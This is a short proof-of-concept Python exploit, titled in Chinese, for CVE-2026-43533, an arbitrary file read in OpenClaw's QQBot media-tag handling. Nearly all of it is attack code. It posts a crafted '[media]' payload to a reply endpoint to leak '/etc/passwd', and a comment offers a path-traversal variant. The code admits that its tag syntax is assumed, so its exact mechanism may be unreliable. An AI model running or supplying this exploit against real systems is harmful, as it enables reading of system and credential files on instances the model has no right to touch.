CVE-2026-43533 OpenClaw任意文件读取漏洞

import requests # PoC for CVE-2026-43533: OpenClaw Arbitrary File Read via Media Tags # This script demonstrates how to craft a malicious message to read local files. def send_exploit(target_url, file_path): """ Sends a malicious payload to the OpenClaw QQBot endpoint. :param target_url: The API endpoint of the vulnerable OpenClaw instance. :param file_path: The absolute path or path traversal sequence to the target file (e.g., '/etc/passwd'). """ # Craft the malicious reply text containing the media tag. # The specific tag syntax depends on the implementation, assuming a standard [media]tag format. payload = { "reply_text": f"Here is the image you requested: [media]{file_path}[/media]" } try: print(f"[*] Sending payload to {target_url} to read {file_path}...") response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the bot's outbound response or media channel for the leaked file content.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example configuration TARGET = "http://localhost:8080/api/v1/message/reply" TARGET_FILE = "/etc/passwd" # or use path traversal: "../../../../../../../../etc/passwd" send_exploit(TARGET, TARGET_FILE)